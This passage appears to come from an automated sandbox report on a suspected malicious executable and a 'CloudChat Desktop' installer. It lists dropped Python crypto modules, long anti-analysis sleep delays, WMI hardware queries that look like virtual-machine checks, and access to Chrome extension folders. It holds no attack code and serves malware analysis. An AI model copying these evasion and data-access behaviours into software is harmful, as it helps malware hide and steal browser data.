Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Window / User API: threadDelayed 3676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Window / User API: threadDelayed 5857	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Window / User API: foregroundWindowGot 579	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4364
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5518

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\CloudChat Desktop\is-BG1K1.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-L4TEK.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\CloudChat Desktop\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\CloudChat Desktop\is-TSCLB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\python38.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\CloudChat Desktop\is-7GS9C.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\CloudChat Desktop\Updater.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI71322\_hashlib.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-18691

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

API coverage: 2.2 %

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599886s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599784s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599649s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599441s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599185s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -599084s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598945s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598830s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598708s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598579s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598449s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598327s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598211s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597987s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597733s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597632s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597510s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597302s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597175s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -597039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596935s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596834s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596704s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596540s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596439s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596308s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596205s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -596084s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -595811s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -595706s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -595581s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -595455s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -595330s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -595100s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594980s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594861s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594740s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594612s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594486s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594256s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe TID: 6620	Thread sleep time: -594121s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 616	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5556	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929E87E0 FindFirstFileExW,FindClose,	0_2_00007FF6929E87E0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF6929E7810 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF6929E7810
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 0_2_00007FF692A02A84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF692A02A84
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929E87E0 FindFirstFileExW,FindClose,	3_2_00007FF6929E87E0
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF692A02A84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00007FF692A02A84
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	Code function: 3_2_00007FF6929E7810 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	3_2_00007FF6929E7810

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe

Code function: 3_2_00007FF8A89A1150 GetSystemInfo,

3_2_00007FF8A89A1150

Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599886	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599784	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599649	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599441	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599185	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 599084	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598945	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598830	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598708	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598579	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598449	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598327	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598211	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597987	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597733	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597632	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597510	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597302	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597175	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 597039	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596935	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596834	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596704	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596540	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596439	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596308	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596205	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 596084	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595811	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595706	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595581	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595455	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595330	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 595100	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594980	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594861	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594740	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594612	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594486	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594256	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe	Thread delayed: delay time: 594121	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\LIccs3x2LZ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

